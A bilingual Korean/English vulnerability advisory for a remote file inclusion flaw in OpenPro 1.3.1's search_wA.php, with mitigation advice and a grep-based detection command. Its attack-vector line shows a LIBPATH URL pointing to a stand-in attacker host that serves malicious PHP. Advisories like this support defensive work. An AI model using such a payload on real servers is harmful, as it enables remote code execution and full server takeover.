🇰🇷 한글 설명
OpenPro 1.3.1의 search_wA.php에서 LIBPATH 매개변수에 대한 입력 검증 부재로 인한 원격 파일 인클루전(RFI) 취약점입니다. 공격자는 이를 통해 임의의 PHP 코드를 원격에서 실행하여 서버를 완전히 장악할 수 있습니다.
💡 쉬운 설명
OpenPro 검색 기능의 보안 결함으로 인해 해커가 인터넷을 통해 악의적인 명령을 웹 서버에서 실행할 수 있습니다. 웹사이트가 완전히 해킹될 수 있는 심각한 문제입니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in search_wA.php in OpenPro 1.3.1 allows remote attackers to execute arbitrary PHP code via a URL in the LIBPATH parameter.
📍 영향받는 시스템
OpenPro 1.3.1 및 이전 버전
⚔️ 공격 벡터
search_wA.php?LIBPATH=http://attacker.com/malicious.php 형태로 원격 PHP 파일 로드 및 실행
🛡️ 대응 방법
OpenPro 1.3.2 이상으로 업그레이드하거나, 파일 인클루전 입력 검증 강화 및 allow_url_include PHP 설정 비활성화
🔧 검증 코드
search_wA.php 파일이 발견되면 OpenPro 설치 여부 확인 완료, 파일 내 LIBPATH 변수 처리 로직을 grep으로 검토하여 취약점 존재 여부 판단
find / -name 'search_wA.php' -o -name 'version*.txt' 2>/dev/null | xargs grep -l 'OpenPro' 2>/dev/null | head -3